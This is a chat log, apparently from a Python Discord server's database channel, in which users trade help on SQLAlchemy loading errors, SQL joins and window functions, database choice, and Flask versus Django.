oh, i thought it would look like the video on pycharm's site https://youtu.be/Qw_JniULJBI

Working with SQLite databases is easier than you think! In this video, you’ll see how you can skip messing around with the command line and connect to your database just by dragging and dropping. You’ll also find out all of the great functionality our IDEs have for working with SQLite databases, including code completion and inspections for SQL,...

▶ Play video
gritty vector
wise wind
stiff radish
#

Thanks, I forgot to mention I got it already 🙂

wise wind
#

ah nice

stiff radish
#

But appreciate the answer - it's basically what I did yes

tired crane
#

hey guys one question in sql when i have to create a function
whats the difference between return and returns

wise wind
#
     received_friends = (select(Friends)
                        .where(Friends.receiver == current_user_username)
                        .options(joinedload(Friends.sender_user)))
    sent_friends = (select(Friends)
                      .where(Friends.sender == current_user_username)
                      .options(joinedload(Friends.receiver_user)))
    friends = await db.execute(received_friends.union(sent_friends))
    print(friends.scalars().first())``` I'm trying to run this query but I'm getting a string as a result of my query instead of a Friends model. Does anyone know what the issue could be?
wise wind
#

sql is a static typing language

fading patrol
novel shale
#

Anyone here have experience with SQL Alchemy signals that could help me out? I have been trying to get it to simply print out some message when I insert a record but I am having no luck. I've posted in help if interested. Thanks.

wise wind
novel shale
slate fable
#

What is the best practice, to use JOINS (left/inner/right/etc) or not use that JOINS and get data using filtering on where?

slate fable
#

@wise wind just curious, why using filtering on where is best than to use joins?

wise wind
slate fable
wise wind
coral wasp
ionic pecan
slate fable
coral wasp
wise wind
#

I noticed that whenever I print:

#
print(friends.all())
print(friends.all())```
#

First result I get a list with some models.

#

Second result I get an empty list.

#

Anyone know why?

slate fable
coral wasp
wise wind
coral wasp
wise wind
coral wasp
#

Explicit 'join' vs implicit

wise wind
#

Is the implicit one a cross join?

coral wasp
coral wasp
# wise wind oh ok thanks

Basically, both of those are equivalent and databases will (afaik) generate the same plan for both

coral wasp
#

Answered in pydis, use a group by if you just want a count. Or, if you just want laptops, then select count(*) from table where device_type='laptop'

#

Window functions are advanced sql, you should master aggregates (group by) first, imo

#

There are two laptops, and three non laptops

#

You partitioned by device_type=laptop, not device_type

wooden topaz
coral wasp
#

No, for row 1, the window is the three non laptops since it's a non laptop

wooden topaz
coral wasp
#

You're only showing the count. Add * to the select.

#

Row order is generally non deterministic without an order clause

#

Regardless, a window function is -not- what you should be using for the original question

wooden topaz
#

sorry, not getting these 2 lines. what is the relation between addding *, row order?

coral wasp
#

You're guessing which lines relate to which count.

#

Write a query that returns all columns and the count

jolly pollen
#

guys can one help me I cannot connect my database potgresql to python I get IndexError

slate fable
wise wind
jolly pollen
#

def near_station (self,position ) :
lat , longt = position
connection_string = 'postgresql+psycopg2://ppd:2004@localhost:5432/new'

    with db.create_engine(connection_string,pool_pre_ping=True).connect() as con: 
        con.execute("SELECT * FROM datacamp")
        return Station("de",12)   # station    Station (...)
#

I ve imported SqlAlchemy

wise wind
jolly pollen
#

Its a class I've write it

wise wind
jolly pollen
#

ok

coral wasp
jolly pollen
#

import math
import sqlalchemy as db

class Station :

def __init__ (self,nom,position) :
    self.nom = nom 
    self.position = position 
    
def distance_between_position(self,my_pos):
    
    lat1, lon1 =  my_pos
    lat2, lon2  = self.position 
    
    R = 6371  # Rayon de la Terre en kilomètres
    dLat = math.radians(lat2 - lat1)
    dLon = math.radians(lon2 - lon1)
    a = math.sin(dLat / 2) * math.sin(dLat / 2) + \
        math.cos(math.radians(lat1)) * math.cos(math.radians(lat2)) * \
        math.sin(dLon / 2) * math.sin(dLon / 2)
    c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
    return abs(round(R * c * 1000))  # Distance en mètres      

class DataBaseStation :

def near_station (self,position ) :
    lat , longt = position 
    connection_string = 'postgresql+psycopg2://ppd:2004@localhost:5432/new'
#

with db.create_engine(connection_string,pool_pre_ping=True).connect() as con:
con.execute("SELECT * FROM datacamp")
return Station("de",12) # station Station (...)

ds = DataBaseStation()
ds.near_station((2,3))
def checkPosition () :

connection = 2 #we check  the connection from gps through method 

if connection == None :
    #send request to the driver in the case to update manually the station .
    return -1 # Don't do tracking anymore .
else :
    return # position from the gps 

def track () :

pos  = checkPosition () # check if the position can get 


if pos != -1 :
      
    ds = DataBaseStation()            
            
    near_station = ds.near_station()
   
    while True: # to indicate that this operatin is repeated 
        
        distance = near_station.distance_between_position(pos)
            
        if ( distance > 100 ) :
            print(f" next station  is {near_station.name}")
            
        elif( distance < 50 ) :
            print(f"We'll be arriving soon at station {near_station.name}")
        
        elif ( distance < 25 ) :
            print(f" we are in  station {near_station.name}")
wise wind
#

like the full exception

jolly pollen
wooden topaz
#

Hi,
could anyone pls explain this..

#

Hi,
when i tried below query for the problem https://datalemur.com/questions/laptop-mobile-viewership

SELECT 
  COUNT(*) OVER(PARTITION BY device_type='laptop') as laptop_views
FROM viewership

The output is:

laptop_views
3
3
3
2
2

But, as per my understanding about the OVER & PARTITION BY clauses,
When i PARTITION BY device_type='laptop', then COUNT() gets applied on the table which is present inside the red colur box. So, output should be single row with value of 2, somewhere i am going wrong...
https://ctrl.vi/i/i7OXFOO8O

New York Times SQL Interview Question: Write a query to calculate the total viewership for laptops and mobile devices.

wise wind
coral wasp
#

If still not clear, run this query ```python
SELECT ,
COUNT(
) OVER(PARTITION BY device_type='laptop') as laptop_views
FROM viewership

wise wind
graceful spade
#

question here

#

if I want to learn database, should I start with MS Access?

#

or start right into MySQL?

storm mauve
#

imo SQLite then PostgreSQL

#

I wouldn't bother with MS Access unless you really, really, really need of it

wise wind
graceful spade
#

thank you

#

what is a great course to start mysql?

waxen finch
#

given that SQLite is file-based and built into python's stdlib, it's trivial to setup and gives you a lower barrier to entry for using SQL in your own applications

sullen oyster
tender coral
#

anyone can help me with an sql query? I have been trying to solve with chatgpt for days

#

I have the following table:

CREATE TABLE IF NOT EXISTS polymarket_transfers_full (
                    id SERIAL PRIMARY KEY,
                    type VARCHAR(255),
                    token_address VARCHAR(255), 
                    sender VARCHAR(255),
                    receiver VARCHAR(255),
                    token_id VARCHAR(255),
                    transfer_event VARCHAR(255),
                    value NUMERIC(20, 0),
                    contract_address VARCHAR(255),
                    transaction_hash VARCHAR(255),
                    block_number INT,
                    timestamp BIGINT
);
#

and it contains all transfers of tokens between addresses for every transaction that has been made

#

how one transaction looks like is this:

#

and received 1109660000 tokens with id '48549020894180052638694281078561063233074907538074431452668232191323199827633' for this```
#

and the same with

#

and received 1109660000 tokens with id '86872740570934444235116129614074633150170172533953273931299675806736964134675' for this```
#

Now I want to make a query to populate a table called transactions:

CREATE TABLE IF NOT EXISTS transactions (
            transaction_hash VARCHAR(255) PRIMARY KEY,
            erc20_volume_exchanged NUMERIC(20, 0),
            erc115_volume_exchanged NUMERIC(20, 0),
            erc115_token_ids_exchanged VARCHAR(255)[],
            proxy_wallet VARCHAR(255),
            direction_of_exchange VARCHAR(255)
        );
#

that will within each transaction_hash look for where address '0x4bfb41d5b3570defd03c39a9a4d8de6bd8b8982e' is the receiver of money and sent any tokens to anyone

kindred nova
#

Hi, I'm using PostgreSQL by NeonTech. I code in Python v3.11.3. I have my discord bot. I am using Patreon to receive my payments and manage my memberships. So, Patreon has an API to get all the list of Memberships. My current User Premium table is:

userpremium(user_id, tier, expire, payment, id, state, prime_count, used)```
The `state` column can have values `expired` (expired plan), `current` (currently running plan), `pending` (plan will start in future)
But Patreon provides some extra information such as `full_name`, `last_charge_status`, `currently_entitled_amount_cents`,  `patron_status`, `patreon_id`. So should I make a new table specially for Patreon users? or change my current one?
kindred nova
kindred nova
kindred nova
shut tiger
kindred nova
#

how do i make

wise wind
shut tiger
shut tiger
kindred nova
#

the id column is bigint with auto increment

kindred nova
shut tiger
kindred nova
#

uh

shut tiger
kindred nova
#

i think a numbering somthing?

#

numbering a list?

shut tiger
kindred nova
#

okay.

shut tiger
shut tiger
kindred nova
#
"INSERT INTO patrons (full_name, last_charge_status, patron_status, entitled_pay, tier, user_id, patron_id) VALUES ($1, $2, $3, $4, $5, $6, $7) ON CONFLICT (patron_id) DO UPDATE SET full_name=$1, last_charge_status=$2, patron_status=$3, entitled_pay=$4, tier=$5, user_id=$6 WHERE patron_id=$7"```

this is my sql for patreon
#

i am changing it and shifting to userpremium table and I will add all these columns there

#

So my current column is:

userpremium(user_id BIGINT, tier BIGINT, expire BIGINT NOT NULL, id AUTO INCREMENT PRIMARY KEY, state TEXT, prime_count BIGINT, used BIGINT, full_name TEXT, last_charge_status TEXT, patron_status TEXT, entitled_pay TEXT)```
shut tiger
kindred nova
shut tiger
kindred nova
#

yeah lil bit

shut tiger
#

"Users" would be better imo

kindred nova
#

k but that doesn't matter ig

shut tiger
kindred nova
#

okay

ashen river
#

Mongodb

kindred nova
#

I mean program logic

#

then I will need to make 2 sql queries

fervent charm
#

Should I have done this with a database:

    temporal_df = refined_df.group_by_dynamic(
        index_column="created_datetime", every="1h", closed="left"
    ).agg(
        [pl.col(column).sum() for column in refined_df.columns if refined_df[column].dtype in numeric_types]
    )
    temporal_df = temporal_df.upsample(time_column="created_datetime", every="1h").fill_null(0)
fading patrol
fervent charm
#

That line is just the highlighted part of all that

fading patrol
fervent charm
#

Not really

shut tiger
kindred nova
#

ok

torn sphinx
#

Is this the place to talk MySQL?

ionic pecan
#

yes

alpine dirge
#

In your opinion which db is better postgress or mysql?

#

And why?

fading patrol
alpine dirge
shut tiger
#

If you need any of the features of postgres though then you should pick it.

spare lagoon
#

I've using MongoDB for a while and I liked it so far.

shut tiger
#

Mongo is a bad option for almost everyone

spare lagoon
#

Why is that @shut tiger

ornate panther
#

plus there is no async driver for MongoDB on Python

#

(Motor uses threads to provide an async interface)

#

@alpine dirge you'll be hard pressed to find anything MySQL does better than PostgreSQL, and there are boatloads of stuff that PostgreSQL does better. That is my opinion as someone who has used both extensively,

#

MySQL is chronically lagging behind in SQL standards support, in fact SQLite has more or less overtaken MySQL already

lusty anchor
#

please help

hexed estuary
torn sphinx
#

I'd say I'd use PostgreSQL, though setting it up can be difficult at first.

lusty anchor
#

also needed to activate my environment

alpine dirge
alpine dirge
alpine dirge
mortal igloo
#

I need some help with these error coding

#

Course_Project_Phase_4_of_week_9.py

#

Im lost

#

last 2 weks of class

shut tiger
# mortal igloo

You should show people the real crash if there is one. That looks like warnings.. You should also not send pixels, that's very hard to read.

Anyway, the problem is that EmpTotals looks like you want it to be a global variable, but you defined it at the bottom inside if __name__.

#

There are many more issues though.. like userpwd = GetUserPassword which should be userpwd = GetUserPassword(). You seem to have written a lot of code without running it... that's a mistake.

vocal moon
#

How do people generally handle databases when it comes to frameworks like flask? Is there any examples or resources I can look at?

shut tiger
vocal moon
#

I remember you from the django server lol.

I have an idea for a project but I'm trying to work it microservices instead of a monolithic architecture. I'm worried if I use django that may be a lot more difficult?

shut tiger
#

If you don't have 100 developers, don't use microservices.

vocal moon
#

It's not something i'm ever going to release, most likely i'll just build it for the sake of learning and take it down

shut tiger
#

Still.. seems like there must be a million things more useful to learn than microservices.

vocal moon
#

This is just what I find interesting right now,

is SQLAlchemy similar to libraries like asyncpg?

storm mauve
#

asyncpg, psycopg and alike are just database connectors or drivers

SQLAlchemy is an Object Relation Mapper that can use multiple different connectors as its backend, and provides a class based interface that abstract away the SQL

vocal moon
#

Would I be using SQLAlchemy stand alone, or with a database driver library?

storm mauve
#

it literally doesn't works stand alone, it requires a driver to work

vocal moon
#

Ah okay

storm mauve
#

it is an abstraction layer between your code and the database connection, it does not handles the internals of the connection itself

vocal moon
#

How would I keep track of my databases performance? What is the main information I should be looking at?

storm mauve
#

it depends
for most cases I'd guess latency and index coverage might be the most important factors though

shut tiger
#

Microservices and vague performance questions.. hm. do you have an actual project?

#

I get the feeling you're putting the cart before the horse

vocal moon
#

I havent started anything if that's what your asking, I'm just trying to figure out how to deal with a database correctly

vocal moon
vocal moon
storm mauve
#

I meant how much % of your queries are covered by your indexes

storm mauve
# vocal moon I don't think I am

If you have never created an API that interacts with a database before, then I'd agree that yes you are

You can worry about performance after you understand how the system works

shut tiger
# vocal moon I don't think I am

The order is: make it work, make it right, make it fast.
Your order from what I gathered this far is: make it like netflix, measure it, something else

#

:P

vocal moon
#

Not at all? If I want to understand how these things work I need to actually learn about them no?

shut tiger
#

What things though? That's the key.

vocal moon
#

database performance, and using the database correctly, those are the questions I've asked.

I've built multiple projects with databases before but I don't feel like I've ever used them correctly

#

Thats why I'm asking

storm mauve
#

performance considerations and the "correct" way to do things all depends on what your project's real bottlenecks or limitations are

fading patrol
# vocal moon How would I keep track of my databases performance? What is the main information...

There are lots of lists you can look at like this one for ideas. But ultimately which ones you care about and which you don't is entirely situational and dependent on your use case. https://www.metisdata.io/blog/database-monitoring-metrics-key-indicators-for-performance-analysis

Explore the essential database performance metrics & discover actionable strategies to improve your system's efficiency.

shut tiger
#

Yea, which is why I asked "why do you think that?"

vocal moon
shut tiger
vocal moon
#

That was my first question

shut tiger
#

Also, nothing wrong with that imo :P

fading patrol
shut tiger
#

And making microservices out of your app is a great way to make the performance worse, the maintainability a horror, etc.

vocal moon
#

Like I said above, I'm building a project with them so I can learn how they work, It's not something thats going to be used by anyone

shut tiger
#

...but why?

vocal moon
shut tiger
#

just because of the hype? Because then I would recommend you to ignore the hype :P

vocal moon
#

what hype

shut tiger
shut tiger
#

hell, flask too :P

vocal moon
#

What

fading patrol
vocal moon
#

The database specifically, postgres

#

I don't want to fall into the over optimization trap but I want to know how I would track the performance in the first place

fading patrol
# vocal moon I don't want to fall into the over optimization trap but I want to know how I wo...

To start I would focus on the app performance in general and only dive into that if you suspect a problem.

That said, https://www.postgresql.org/docs/current/monitoring.html

vocal moon
#

Thank you :)

vocal moon
shut tiger
vocal moon
#

I've literally only ever heard of django, flask and fastapi

shut tiger
#

People who use "light weight" as an argument for flask over django, but at the same time.. using python... with probably the most gigantic standard library of any language. It's just funny to me. The extra lines of code in Django are a measurement error.

#

Also, lines of code on disk is irrelevant in the first place anyway.

thorny anchor
#

do people mean "lines of code" when they say "light weight"?

vocal moon
#

I'm using flask because django has features that I don't need, whereas flask doesnt...

shut tiger
shut tiger
vocal moon
#

How so

shut tiger
#

What's problem with having features you don't need this second?

vocal moon
#

You're saying I will need them down the road?

shut tiger
#

(I'm big into the Socratic method)

fading patrol
vocal moon
#

One of the main reasons I'm using flask is because I want to learn how I'd structure and build a project without the built in orm

shut tiger
#

imo the problem with django isn't that it has too many features, it's that it has too few.. which is why we wrote iommi :P

shut tiger
vocal moon
#

I don't know that because i've never built one

#

Hence why i'm here

#

I don't see why i'd use django when I could use something thats much easier to get going with, especially when all of the features django offers, I'm not going to use

shut tiger
fading patrol
shut tiger
vocal moon
vocal moon
#

I want to sturcture the program myself

shut tiger
vocal moon
#

And all of the other files that creates unneeded complexity

fading patrol
shut tiger
fading patrol
vocal moon
#

Are you guys saying I just shouldnt use flask

shut tiger
#

I should write a blog post showing how the minimal django app is just as simple as a simple flask app...

vocal moon
#

The only tutorials I've ever seen with django are way more complex than those that use flask, maybe thats why I feel this way

#

aka django documentation

shut tiger
shut tiger
vocal moon
#

okay I'm going to look into django a little more then

#

thank you both

fading patrol
# vocal moon Are you guys saying I just shouldnt use flask

If your purpose is learning (not simply getting something done that you already know) and you've completed at least one project with Flask already, then yes.

If you learn Django reasonably well and still have reasons to prefer Flask, I won't argue with that (but Boxed might 🤣)

vocal moon
#

sounds good

spare lagoon
shut tiger
#

That's not the issue. It's the schema-lessness and no referential integrity that will kill you.

alpine dirge
burnt abyss
#

Good evening, does anyone have any suggestions for optimizing this query?
I need each query to return only 1 document...

async def get_cards_by_over(
        self, ignore_cards_id: list[str], *overs: int
    ) -> list[Card]:
        cards: list[Card] = []

        for over in overs:
            card = await self.repository.get_model_by(
                {
                    "id": {"$nin": ignore_cards_id},
                    "stats.over": over,
                }
            )

            if card:
                cards.append(card)

        return cards
west hill
#
async def get_cards_by_over(
        self, ignore_cards_id: list[str], *overs: int
    ) -> list[Card]:
        cards: list[Card] = []
        cards = await self.repository.get_model_by(
            {
                "id": {"$nin": ignore_cards_id},
                "stats.over": {"$in": overs},
            }
        )
        return cards

you could try this should reduce the no. of queries by a lot most of the time is lost due to network latency in urs, after u get the cards list feel free to filter out to like 1 card per over ig

quaint scaffold
harsh schooner
#

What do you guys use for designing database schemas? Any special tooling or just pen and paper?

shut tiger
harsh schooner
harsh schooner
#

I wish to store some plain text in repo when opened in some tool display diagrams and stuff like that pithink

shut tiger
#

I mean.. generating a graph from the models is a thing. There are tools for that.

#

I wouldn't store it in plain text unless you have tests to make sure the text file is correct.

harsh schooner
#

I would store it in the repo in plain text because devs are lazy af. I was hoping such tool exists that would let me design and aslo serve as a doc and be plain text. Google aint helping :/ I am guessing I ask for too much

shut tiger
harsh schooner
shut tiger
#

You should see the tooling I built to do docs in iommi.. it's honestly a bit bonkers. We write our docs in pytest and mark what code to exclude from the tests, and what text to include, and what code to produce html snippets that gets included in the finished docs as iframes (instead of screenshots)

harsh schooner
shut tiger
harsh schooner
#

i know i know, I want to have it but I am lazy as well lmaoes

shut tiger
#

You can probably find a package to produce ascii graphs

harsh schooner
#

It just needs to be very easy to use, I guess I should keep on searching

shut tiger
#

It's not hard to write...

harsh schooner
#

you might be confused as to what I am seeking but imagine working with devs that hate to type and read

shut tiger
harsh schooner
#

myself included

shut tiger
#

I can't help you there

#

But being lazy will guarantee failure

harsh schooner
#

I am at the low point now fr, but meds are kicking in

thorny anchor
#

asciidoc is great

coral wasp
fading patrol
shut tiger
#

First of all, wrong channel. Secondly it's a bad idea to publicly declare you are ddos;ing a federal site 🤣

coral wasp
#

@wooden topaz #python-discussion message The reason is: You have a mix of aggregate and non-aggregate fields in your select. "select x, sum(y) from table" is invalid because x is neither in a group by nor is it an aggregate function.

harsh schooner
harsh schooner
wise wind
#

I'm getting sqlalchemy.exc.MissingGreenlet: greenlet_spawn has not been called; can't call await_only() here. Was IO attempted in an unexpected place? (Background on this error at: https://sqlalche.me/e/20/xd2s) whenever I'm trying to refresh the expired model

fading patrol
wise wind
#

I just put expire_on_commit = False when defining my Session.

ionic goblet
#

can someone please help me with something? im tryna do this job sim and the first step is to paste "npx create-react-app@3.4.1 my-app --scripts-version=@skyscanner/backpack-react-scripts --template @skyscanner/backpack --use-npm"

into the terminal
but what terminal? there was no bg info

#

not python related btw, but this is the only resource i had

obsidian basin
#

Here is my db. I am using flask sqlalchemy.
https://paste.pythondiscord.com/36QQ

I am updating my database by using this tutorial. They also have a new way to query/select.
https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-iv-database
Can I use the second link to query/select instead of the first link?
https://flask-sqlalchemy.palletsprojects.com/en/3.1.x/queries/#select

I tried adding using uselist=False to the relationships column in both many tables but I get the same error.

posts = db.session.scalars(db.select(Posts)).all() is triggering the error.

@main.route("/")
@main.route("/home")
def home():  
    posts = db.session.scalars(db.select(Posts)).all()

    return render_template('home.html', posts=posts, title='home')  

Summary of the error.

InvalidRequestError
sqlalchemy.exc.InvalidRequestError: On relationship Posts.rel_user, 'dynamic' loaders cannot be used with many-to-one/one-to-one relationships and/or uselist=False.

Here is the full error.
https://paste.pythondiscord.com/LYWQ

Any idea how to fix this? Thank you in advance. Please ping on reply.

This is the fourth installment of the Flask Mega-Tutorial series, in which I'm going to tell you how to work with databases.You are reading the 2024 edition of the Flask Mega-Tutorial. The complete…

wise wind
obsidian basin
wise wind
# obsidian basin <@615372397557579786> Do you mean the db I linked it above. Here it is again htt...

I assume your using a dynamic loader to load your relationships. It seems like sqlalchemy doesn't let you load anything that is not a collection dynamically in sqlalchemy. It makes sense because dynamic relationships let you query your relationship even further but that wouldn't make sense because your relationship is only returning one object. I would add the parameter lazy ="selectin" to your relationship configuration to change the loader.

obsidian basin
#

@wise wind all the relationship columns?

obsidian basin
#

Okay I will try it thanks what about uselist=False?

wise wind
#

It makes things a lot more simpler because the relationship will return model objects instead of a query.

wise wind
#

For example:

#

rel_user: so.WriteOnlyMapped['User'] = so.relationship(back_populates='rel_posts')

wise wind
#

rel_user: so.WriteOnlyMapped[List['User'] = so.relationship(back_populates='rel_posts')

#

This will return a list of Users but wouldn't make sense for you because a Post does not have many users for your scenario.

obsidian basin
#

So the solution is to add lazy ="selection" @wise wind

wise wind
#
@main.route("/")
@main.route("/home")
def home():  
    posts = db.session.scalars(db.select(Posts)).all()

    return render_template('home.html', posts=posts, title='home') ``` Is this all your code?
#

because it's kind of weird if you got that error if that's all you did

obsidian basin
#

there is a lot more code but this is error

wise wind
obsidian basin
#

do you mean posts = db.session.scalars(db.select(Posts)).all()

wise wind
#

like [post.rel_user for post in posts]?

obsidian basin
#

Here is a little more then what you asked.

{% extends "layout.html" %}
 <!-- title is flashblog -->
{% block title %} {{title}} {% endblock title %} 
{% block post_info %}   

    {% if posts %} 

        {% for post in posts %}
            <!--  The line url_for... is = to ("/post/<int:post_id>") in routes.py-->
            <!--  why do I need post_id = post.id'?, Because I am looping to get the post.id's -->    
            <h2> <a href="{{ url_for ('postinfo.post', post_id = post.id) }}"> {{post.title}} </a> </h2>
        {% endfor %}
    {% endif %}
    


    
{% endblock post_info %}
obsidian basin
#

Oh sorry I got a phone call let me test it I was distracted

#

@wise wind I am still getting the error

wise wind
#

What's the error?

obsidian basin
#

The same

#


InvalidRequestError
sqlalchemy.exc.InvalidRequestError: On relationship Posts.rel_user, 'dynamic' loaders cannot be used with many-to-one/one-to-one relationships and/or uselist=False.```
#

...

#

One thing I want to mention

I have some code from the old database but I commented all the code with hash tags

wise wind
obsidian basin
#

brb

wise wind
#

all good

obsidian basin
#

Then I have a file called app.py

#

Let me show it

#

app.py

from app import create_app
app = create_app()
wise wind
obsidian basin
#

let me check

#

Here is a little more info then you want

alembic              1.13.1
argon2-cffi          23.1.0
argon2-cffi-bindings 21.2.0
blinker              1.8.2
certifi              2024.2.2
cffi                 1.16.0
charset-normalizer   3.3.2
click                8.1.7
colorama             0.4.6
Flask                3.0.3
Flask-CKEditor       0.5.1
Flask-Login          0.6.3
Flask-Mail           0.9.1
Flask-Migrate        4.0.7
Flask-Moment         1.0.6
Flask-SQLAlchemy     3.1.1
Flask-WTF            1.2.1
greenlet             3.0.3
idna                 3.7
itsdangerous         2.2.0
Jinja2               3.1.4
Mako                 1.3.3
MarkupSafe           2.1.5
packaging            24.0
pip                  24.0
pycparser            2.22
redmail              0.6.0
requests             2.32.2
SQLAlchemy           2.0.30
stripe               9.7.0
typing_extensions    4.11.0
urllib3              2.2.1
Werkzeug             2.3.0
WTForms              3.1.2
#

Yep it certainly looks like it

ionic goblet
#

im so new to all of this, i wud really appreciate help

obsidian basin
#

@ionic goblet If you are in a rush you could ask on the help channel also what ide are you using

wise wind
#

or the terminal in VS code

#

Go in the directory of the React application first.

#

@obsidian basin It's kind of weird because the loading error should occur when you're trying to access the relationship attribute.

obsidian basin
#

@wise wind Thanks for attempting any advice?

wise wind
obsidian basin
#

Okay I will try should I get back to you if it doesn't work or are you all out of ideas

wise wind
#

wdym?

obsidian basin
#

wrong discord server

#

sorry more then one open at time

wise wind
#

all good

obsidian basin
#

@wise wind it worked! Thanks a ton.

#

Any reason why miguel gringberg's tutorial showed so.WriteOnlyMapped ? No rush on a response

wise wind
obsidian basin
#

I know but for the relationship columns he used so.WriteOnlyMapped

#

oh he just used it for the rel in table

wise wind
obsidian basin
#

@wise wind Again thank you for all the help.

wise wind
# obsidian basin <@615372397557579786> Again thank you for all the help.

No problem. Remember that with lazy loading your relationship attribute (sqlalchemy_model.relationship) is not initialized until you call it. Lazy loading is not a good way to load relationships because you have to query the object and call the relationship attribute which are two separate network requests which causes more latency.

wise wind
obsidian basin
#

@wise wind I was just doing that but thank you again

#

How do you know so much about databases I know how to design them a little bit but known of these lazy loading details, if you are busy feel free to respond when you want to

wise wind
obsidian basin
ionic goblet
obsidian basin
#

What are you trying to do?

ionic goblet
quartz aspen
#

Hi

ionic goblet
# obsidian basin What are you trying to do?

Okie so "can someone please help me with something? im tryna do this job sim and the first step is to paste "npx create-react-app@3.4.1 my-app --scripts-version=@skyscanner/backpack-react-scripts --template @skyscanner/backpack --use-npm"

into the terminal
but what terminal? there was no bg info"

obsidian basin
#

What is a job sim?

ionic goblet
#

Whrn i paste it into cmd of my windows laptop i get nothing

ionic goblet
obsidian basin
#

So it is for job training? Is it a coding job?

ionic goblet
#

In this task, you’ll be using the Backpack library to build a simple web application. The application you build will be a simple page for picking a date. Since Skyscanner helps people to research and book travel reservations, this is a functionality that gets a lot of use! The application you create will include the header text “Reservation Date,” a calendar, and a “continue” button.

#

Set up and customise your React application
Test your application

#

This task includes three stages:

setting up your workspace,
customising your application, and
executing automated tests.
While this task only explores the basics of web application development with Backpack, it will allow you to tackle the process of creating applications with an eye for continuous integration

obsidian basin
#

@ionic goblet Are you ready for a coding job if you don't know what a terminal is or an ide?

ionic goblet
obsidian basin
#

I don't know react or javascript

#

But I can help you with the ide

#

I personally like visual studio code

ionic goblet
obsidian basin
#

Yep I never heard of chocolatey

ionic goblet
#

I am a lil skeptical of downloading a lot of stuff cuz security and virusrs and all

obsidian basin
#

I can link them

ionic goblet
obsidian basin
#

Then I would find a video how to run nodejs

ionic goblet
#

Thank you!

obsidian basin
#

Your welcome and again maybe google chocolatey

#

video

#

with vsc

#

by terminal they just mean this

#

There will be a place where you can use text below

#

Also this isn't a javascript/nodejs server

#

You would probably be better off in a server with javascript and nodejs

#

You might want to google a video on visual studio code interface I have to go

fallen vault
#

I need help creating a database. I know how to do the basics but want to hire someone who can create the table connects for foreign keys, select the proper data types, etc. what os the title for a person I can hire to do that?

shut tiger
fallen vault
#

Tbf, anyone can do anything with enough time. But sometimes the professionalism of paying someone else with more experience is better suited.

#

Unless I’m misunderstanding what you’re saying , if so my apologies.

wise goblet
wise goblet
fallen vault
#

I am currently in a CS50 SQL course. But my little pet project seems like it is able to become business critical (which if they would've listened to me a year and a half ago, we wouldn't be in this situation and I would've had been taken the course instead of playing with flask and gui development, but thats another story)

wise goblet
#

And I have I guess nice exercises to go for learning that

#

U really learn it when u design to handle high workload. And properly learned normalization preferably and letting SQL engine to do its job

fallen vault
#

I have some books, its mostly a time thing for me as i have a family of 5, learning c# for a personal project and now c++ and C for a community project.

wise goblet
#

Easier to learn on your own if u can do dev stuff

shut tiger
#

Learning C++ in 2024 is a bit masochistic too heh

wise goblet
#

That too.

fallen vault
fallen vault
wise goblet
#

Still not trusting c# though

fallen vault
#

Its required for the sdk i need for the hardware for my personal project. But it seems verstile like python with dotnet so im going to be going full force into it as a second language before branching out further to some form of JS, maybe react or node.

wise goblet
fallen vault
#

Dont know what you mean by that. My decision for Js is because of web apps lol. Although im sure django probably has a solution for that.

wise goblet
#

JS world traded off everything for speed at the cost of all quality

fallen vault
#

Gotcha. Im mostly looking at Js for things that need to update without refreshing the webpage. Kinda like how youtube views update every 30 or so seconds while youre watching the video.

wise goblet
wooden topaz
#

Hi @calm grotto / @trim panther
regarding this qn: https://datalemur.com/questions/sql-ibm-db2-product-analytics
My solution is:

SELECT unique_queries, COUNT(employee_id) employee_count
FROM 
(
SELECT e.employee_id employee_id, COALESCE(COUNT(DISTINCT q.query_id),0) unique_queries
FROM employees e
LEFT JOIN queries q
ON e.employee_id = q.employee_id
WHERE q.query_starttime >= '2023-07-01T00:00:00Z'
  AND q.query_starttime < '2023-10-01T00:00:00Z' 
GROUP BY(e.employee_id)
)AS sub_query
GROUP BY unique_queries
ORDER BY unique_queries

official solution in solution tab is:

WITH employee_queries AS (
  SELECT 
    e.employee_id,
    COALESCE(COUNT(DISTINCT q.query_id), 0) AS unique_queries
  FROM employees AS e
  LEFT JOIN queries AS q
    ON e.employee_id = q.employee_id
      AND q.query_starttime >= '2023-07-01T00:00:00Z'
      AND q.query_starttime < '2023-10-01T00:00:00Z'
  GROUP BY e.employee_id
)

SELECT
  unique_queries,
  COUNT(employee_id) AS employee_count
FROM employee_queries
GROUP BY unique_queries
ORDER BY unique_queries;

There is one row missing from the expected output which is shown below.
Output:

unique_queries  employee_count
      0               94

Not getting, what is the wrong that i did....

wise wind
# wooden topaz Hi <@476543547210858506> / <@670379095951147019> regarding this qn: https://dat...

There's a small error where you filtered the queries table by their dates using a WHERE clause with your solution while in the official solution, they filtered the query queries table by their dates in the ON clause. The difference is that the join its using is a LEFT JOIN so even if the query table date is not in the date range of the join condition, it will still return a the row but with the query table data being null because the query table is the right side. This is why there's one extra row returned in the official solution because it returned the extra row that didn't fit the date range condition but still returned the LEFT side of the join.

wooden topaz
wise wind
wooden topaz
wise wind
wooden topaz
wise wind
wooden topaz
wise wind
# wooden topaz no, just trying to understand how is filter condition in ON clause is making dif...

If a row from the queries table doesn't meet the date range condition and the condition is in the WHERE clause, the row won't be returned. But, if a row from the queries table doesn't meet the date range condition and the condition is in the ON clause of a LEFT JOIN, the row from the employees table will not join the queries table but the row will be returned with the queries table's column values being null because the employees table joined the table unsuccessfully.

wise wind
wise wind
wooden topaz
wise wind
wooden topaz
wooden topaz
wise wind
#

I recommend testing out the functions out yourself.

wooden topaz
# wise wind If a row from the queries table doesn't meet the date range condition and the co...
      AND q.query_starttime >= '2023-07-01T00:00:00Z'
      AND q.query_starttime < '2023-10-01T00:00:00Z'

how can we know that the above 2 lines should go inside the ON clause, instead of where clause?
Now, we can tell these 2 lines should go inside the ON clause, with hindsight. but, when we reading the question. by reading what part of the question, we can understand that?

IBM is analyzing how their employees are utilizing the Db2 database by tracking the SQL queries executed by their employees. The objective is to generate data to populate a histogram that shows the number of unique queries run by employees during the third quarter of 2023 (July to September). Additionally, it should count the number of employees who did not run any queries during this period.

Display the number of unique queries as histogram categories, along with the count of employees who executed that number of unique queries.
wise wind
#

It depends. You'll learn more by doing more problems.

wooden topaz
#

anyway, thanks once again.

wise wind
wooden topaz
wise wind
wooden topaz
wise wind
#

Key phrase: doesn't want you to return a employee

wooden topaz
wise wind
# wooden topaz

